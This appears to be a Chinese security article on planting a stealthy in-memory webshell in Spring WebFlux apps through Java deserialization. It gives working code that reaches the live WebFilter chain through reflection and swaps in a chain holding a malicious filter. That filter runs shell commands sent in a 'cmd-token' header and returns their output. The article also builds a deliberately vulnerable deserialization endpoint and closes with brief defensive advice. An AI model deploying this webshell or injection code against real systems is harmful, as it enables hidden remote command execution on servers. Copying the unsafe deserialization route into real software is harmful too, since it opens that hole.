WebFlux应用一次反序列化注入Spring WebFlux内存马
字数 1610 2025-08-23 18:31:08
Spring WebFlux 内存马注入技术研究
一、前言
在Spring框架中,除了常见的Controller型和Interceptor型内存马,WebFlux型内存马是一种特殊类型的内存马。它本质上是一种变相的Filter类型内存马,但其filters并不存放在常见的filter集合中,使得传统的基于遍历所有filter来判断源文件是否存在的方式无法检测到这种内存马。
二、WebFlux基础
1. WebFlux简介
Spring框架包含两个Web框架:
- Spring Web MVC:专为Servlet API和Servlet容器构建
- Spring WebFlux:5.0版本新增,完全非阻塞,支持Reactive Streams背压,可运行在Netty、Undertow等服务器上
2. WebFlux基本组件
Handler示例
@Component
public class GreetingHandler {
public Mono<ServerResponse> hello(ServerRequest request) {
return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN)
.body(BodyInserters.fromValue("Hello Webflux!"));
}
}
Router配置
@Configuration
public class GreetingRouter {
@Bean
public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler) {
return RouterFunctions.route(
RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)),
greetingHandler::hello
);
}
}
3. WebFlux安全机制
WebFlux的安全鉴权主要依赖于WebFilter,通过@EnableWebFluxSecurity注解配置:
@Configuration
@EnableWebFluxSecurity
public class HelloWebfluxSecurityConfig {
@Bean
public MapReactiveUserDetailsService userDetailsService() {
UserDetails user = User.withDefaultPasswordEncoder()
.username("user")
.password("user")
.roles("USER")
.build();
return new MapReactiveUserDetailsService(user);
}
}
三、WebFlux过滤器
WebFlux中存在两种类型的过滤器:
- WebFilter
- HandlerFilterFunction
WebFilter示例
@Component
public class MyWebFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
System.out.println("MyWebFilter.....");
return webFilterChain.filter(serverWebExchange);
}
}
过滤器调用流程
- 调用
Mono的subscribe方法进行订阅时,首先会被filter拦截 - 调用链:
filter: 13, MyWebFilter invokeFilter: 127, DefaultWebFilterChain lambda$filter$0: 121, DefaultWebFilterChain get: -1, 1931979761 subscribe: 44, MonoDefer subscribe: 4150, Mono
四、内存马注入技术
1. 注入方法选择
两种主要方法:
- 通过API调用动态创建(如
RequestMappingHandlerMapping#registerMapping) - 通过反射获取servlets/filters等属性,添加自定义类
本文选择第二种方法。
2. 定位WebFilter存储位置
使用工具java-object-searcher定位MyWebFilter类在内存中的位置。
3. WebFilter调用机制分析
- 初始化时通过
DefaultWebFilterChain构造方法创建chain DefaultWebFilterChain是WebFilterChain的实现类,每个实例代表chain中的一个link- 通过
initChain方法初始化,遍历所有filters创建filter chain - 调用时通过
currentFilter和chain属性判断filter是否可用 - 每个filter调用
invokeFilter方法(即WebFilter#filter方法) - 每个filter返回
webFilterChain.filter(serverWebExchange)将请求传递给下一个filter
4. 内存马注入步骤
- 获取线程中的WebFilterChain:
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
// 获取NettyWebServer
NettyWebServer this$0 = (NettyWebServer) getField(thread, "this$0");
// 获取ReactorHttpHandlerAdapter
ReactorHttpHandlerAdapter handler = (ReactorHttpHandlerAdapter) getField(this$0, "handler");
// 获取WebServerManager$DelayedInitializationHttpHandler
Object httpHandler = getField(handler, "httpHandler");
// 获取HttpWebHandlerAdapter
Object delegate = getField(httpHandler, "delegate");
// 获取ExceptionHandlingWebHandler
Object delegate1 = getField(delegate, "delegate");
// 获取FilteringWebHandler
Object delegate2 = getField(delegate1, "delegate");
// 获取DefaultWebFilterChain
DefaultWebFilterChain chain = (DefaultWebFilterChain) getField(delegate2, "chain");
- 创建新的filter chain:
// 获取DefaultWebFilterChain中的handler属性
Object handler1 = getField(chain, "handler");
// 获取原始chain中的filters
List<WebFilter> filters = chain.getFilters();
// 创建自制的filter并添加进入newFilters集合中
ArrayList<WebFilter> newFilters = new ArrayList<>(filters);
WebFilter springWebFlux = new SpringWebFlux();
newFilters.add(springWebFlux);
// 创建包含恶意filter的chain
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler1, newFilters);
- 反射替换原有chain:
// 反射将newChain替换FilteringWebHandler的chain属性
Field fieldChain = FilteringWebHandler.class.getDeclaredField("chain");
Field fieldModifiers = Field.class.getDeclaredField("modifiers");
fieldChain.setAccessible(true);
fieldModifiers.setAccessible(true);
// 去除final
fieldModifiers.setInt(fieldChain, fieldChain.getModifiers() & ~Modifier.FINAL);
fieldChain.set(delegate2, newChain);
// 还原final
fieldModifiers.setInt(fieldChain, fieldChain.getModifiers() & Modifier.FINAL);
5. 恶意WebFilter实现
@Override
public reactor.core.publisher.Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
try {
String cmd = exchange.getRequest().getHeaders().get("cmd-token").get(0);
if (cmd != null) {
try {
ProcessBuilder processBuilder;
String o = "";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
processBuilder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
processBuilder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
}
Scanner scanner = new Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
o = scanner.hasNext() ? scanner.next() : o;
scanner.close();
System.out.println(o);
ServerHttpResponse response = exchange.getResponse();
HttpHeaders headers = response.getHeaders();
headers.add(HttpHeaders.CONTENT_TYPE, "text/plain");
response.setStatusCode(HttpStatus.OK);
DataBuffer buffer = response.bufferFactory().wrap(o.getBytes(StandardCharsets.UTF_8));
return response.writeWith(Mono.just(buffer)).then(chain.filter(exchange));
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
return chain.filter(exchange);
}
五、攻击实例
1. 环境准备
引入存在CC利用链的依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
创建漏洞路由:
@Bean
public RouterFunction<ServerResponse> routeVuln(GreetingHandler greetingHandler) {
return RouterFunctions.route(
RequestPredicates.POST("/vuln").and(RequestPredicates.accept(MediaType.APPLICATION_FORM_URLENCODED)),
greetingHandler::vuln
);
}
反序列化处理:
public Mono<ServerResponse> vuln(ServerRequest request) {
return request.bodyToMono(String.class)
.flatMap(data -> {
try {
System.out.println("Received data: " + data.substring(3));
byte[] bytes = Base64.getDecoder().decode(URLDecoder.decode(data.substring(3)));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object deserializedObject = objectInputStream.readObject();
return ServerResponse.ok().build();
} catch (Exception e) {
e.printStackTrace();
return ServerResponse.status(500).build();
}
});
}
2. 攻击流程
- 启动Spring WebFlux应用,初始只有两个filter
- 构造反序列化payload,注入内存马
- 动态增加自定义filter - SpringWebFilter
- 通过请求头
cmd-token传递命令并获取执行结果
六、防御建议
- 及时更新Spring框架版本
- 禁用不必要的反序列化功能
- 实施严格的输入验证
- 使用安全工具监控内存中的filter变化
- 限制危险依赖的使用(如commons-collections 3.x)
七、总结
WebFlux内存马是一种特殊的内存马类型,其特点包括:
- 不存放在常规filter集合中,难以检测
- 通过反射修改filter chain实现注入
- 利用反序列化漏洞进行远程注入
- 具有命令执行能力且隐蔽性高
防御此类攻击需要从框架安全配置、代码审计和运行时监控等多方面入手。